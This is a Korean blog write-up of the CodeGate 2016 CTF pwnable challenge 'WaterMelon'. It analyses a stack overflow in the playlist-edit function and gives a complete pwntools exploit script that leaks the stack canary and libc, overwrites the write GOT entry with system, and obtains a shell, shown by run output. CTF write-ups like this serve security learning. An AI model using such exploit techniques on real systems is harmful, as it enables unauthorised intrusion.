CodeGate 2016 Write Ups
시간이 없어 대회에 참가를 못해서 당일 문제를 풀지 못했는데 ( 물론 청소년은 아님 ), 셤이 끝나 좀 여유가 생겨 잉여잉여 롸업을 써보려 합니다 ㅋㅋㅋ
일단 주위 아이들?! 에게 물어본 결과 WaterMelon 문제가 쉽다고 시간안에 건들어 볼 수 있었던 문제가 이거였다고 하니 이것부터 풀어보죠!
문제푼 환경은 x86-64 Ubuntu 16.04 환경을 기준으로 합니다.
WaterMelon
1 2 3 4 5 6 7 8 9 | zero@ubuntu:~/Desktop/ctf/cg2016$ file Watermelon Watermelon: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked zero@ubuntu:~/Desktop/ctf/cg2016$ gdb -q ./Watermelon gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial | cs |
일단 32비트 실행파일이고요 메모리 프로텍션은 까나리?! 하고 NX 정도 결려 있으니 ROP ROP ROP ROP ROP 하면 해결되겠군요.
1 2 3 4 5 6 7 8 9 10 11 12 13 | zero@ubuntu:~/Desktop/ctf/cg2016$ ./Watermelon Input your name : zero WELCOME zero ----------------------------------------------------- WaterMelon ----------------------------------------------------- 1. Add playlist 2. View playlist 3. Modify playlist 4. Exit ----------------------------------------------------- select | | cs |
음 대충 실행해 본 결과 그냥 평범한 음악관리 프로그램 같습네다.
그럼 한번 ida 로 까보겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | int main() { canary = *MK_FP(__GS__, 20); memset(&buffer, 0, 4400u); limit = 0; setvbuf(stdout, 0, 1, 0); puts("Input your name : "); __isoc99_scanf("%s", &name); printf("\t\tWELCOME %s\n", name); puts("\n\n\n\n"); while ( 2 ) { switch ( Main_Screen() ) { case -1: secret(); continue; case 1: add_music(&buffer); continue; case 2: music_playlist(&buffer); continue; case 3:modify_playlist(&buffer); continue; case 4: puts("\t\tBYE BYE\n"); break; default:puts("\t\tWRONG INPUT\n\t\tBYE BYE\n"); break; } return *MK_FP(__GS__, 20) ^ canary; } } | cs |
일단 buffer 를 4400 사이즈 만큼 0으로 초기화 해 주는군요, 그리고 아래는 메뉴 1~4 까지 받는 부분과
메인 메뉴에서 볼 수 없었던 -1을 입력하면 일종의 secret 창으로 넘어가는 코드를 볼 수 있네용
또한 add_music 함수를 본 결과 44 * limit + ... 를 본 결과
limit 변수는 리스트 한개를 카운트 하는거고 ( 100 개까지 받을 수 있음 )
그리고 1개의 리스트는 44 바이트의 크기를 가지나 봅니다 . ( 44 * 100 = 4400 딱 맞네요! )
1 2 | playlist [ Index(4) | music(20) | artist(20 ] ... * 100 | cs |
그 다음 제일 중요한 취약점!
은 modify_playlist 함수에 artist 를 수정하는 부분에서 20만큼의 사이즈를 읽는게 아니라
200을 읽어버리면서 overflow 취약점이 존재하게 됩니다.
1 2 3 4 | .text:08049A2E mov dword ptr [esp+8], 200 ; nbytes .text:08049A36 mov [esp+4], eax ; buf .text:08049A3A mov dword ptr [esp], 0 ; fd .text:08049A41 call _read | cs |
그럼 100번째 리스트 artist 에 우리가 원하는 페이로드를 넣어주면 익스플로잇에 성공할 거 같네요
1 2 | Stack [ buffer[44*100] | canary[4] | dummy[8] | sfp[4] | ret[4] ] | cs |
그럼 대략적인 페이로드를 구상해 보자면.
메뉴 3번 리스트를 수정하는 부분에서 입력받는 함수가 read 함수니
1. Canary 는 artist 를 20바이트 꽉 채워 NULL 바이트까지 덮어버려 뒤에 바로 나오는 Canary 값까지 한 문자열로 취급하게 해 leaking
2. libc 주소 leaking + 이름을 입력하는 곳에 /bin/sh 를 입력 후 페이로드에
write(binsh) 같은 코드를 넣고 write 함수를 system 함수로 got overwrite 를 하는 방법
OR
2. Got Overwrite 대신 RTL!
이정도가 될거 같군요.
전 got overwrite 로 해보겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 | from pwn import * def add_list(music, artist): for x in xrange(0, 100): p.recvuntil("select\t|\t\n") p.sendline("1") p.recvuntil("\tmusic\t|\t") p.sendline(music) p.recvuntil("artist\t|\t") p.sendline(artist) def modify_list(num, music, artist): p.recvuntil("select\t|\t\n") p.sendline("3") p.recvuntil("select number\t|\t\n") p.sendline(str(num)) p.recvuntil("\tmusic\t|\t") p.sendline(music) p.recvuntil("artist\t|\t") p.sendline(artist) def view_list(grep): p.recvuntil("select\t|\t\n") p.sendline("2") p.recvuntil(grep) def exit_list(): p.recvuntil("select\t|\t\n") p.sendline("4") p.recvuntil("BYE\n\n") def leak_canary(): add_list('asdf', 'asdf') modify_list(100, 'asdf', 'A'*20) view_list('A'*20) return "\x00" + p.recv(4)[1:] def leak_libc(): payload = 'A'*20 + canary + 'AAAA'*3 payload += p32(b.plt['write']) payload += p32(pppr) payload += p32(1) payload += p32(b.got['write']) payload += p32(4) # write(1, write_got, 4) payload += p32(b.plt['read']) payload += p32(pppr) payload += p32(0) payload += p32(b.got['write']) payload += p32(4) # read(0, write_got, 4) payload += p32(b.plt['write']) payload += 'AAAA' payload += p32(binsh) # write(binsh) modify_list(100, 'asdf', payload) exit_list() pppr = 0x8048f0d binsh = 0x0804d7a0 b = ELF("./Watermelon") write_system = 0x9aef0 p = process("./Watermelon") p.recvuntil("name : \n") p.sendline('/bin/sh') canary = leak_canary() leak_libc() write = u32(p.recv(4)) print "/********* Stage 1 - Leaking Canary ********" print "Canary : ", hex(u32(canary)) print "/********* Stage 2 - Leaking Libc ********" print "Write : ", hex(write) system = write - write_system print "System : ", hex(system) print "/********* Stage 3 - Got Overwrite ********" p.sendline(p32(system)) # write(binsh) -> system(binsh) p.interactive() | cs |
1 2 3 4 5 6 7 8 9 10 11 12 | zero@ubuntu:~/Desktop/ctf/cg2016$ python Watermelon.py [+] Started program './Watermelon' /********* Stage 1 - Leaking Canary ******** Canary : 0x5aa63d00 /********* Stage 2 - Leaking Libc ******** Write : 0xf76b7c70 System : 0xf761cd80 /********* Stage 3 - Got Overwrite ******** [*] Switching to interactive mode $ id uid=1000(zero) gid=1000(zero) groups=1000(zero),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ | cs |
'CTFs > CodaGate PreQual 2016' 카테고리의 다른 글
[Codegate 2016] reversing : compress (0) | 2016.08.27 |
---|---|
[Codegate 2016] pwnable : Fl0ppy (0) | 2016.08.27 |
[Codegate 2016] pwnable : Manager (0) | 2016.08.27 |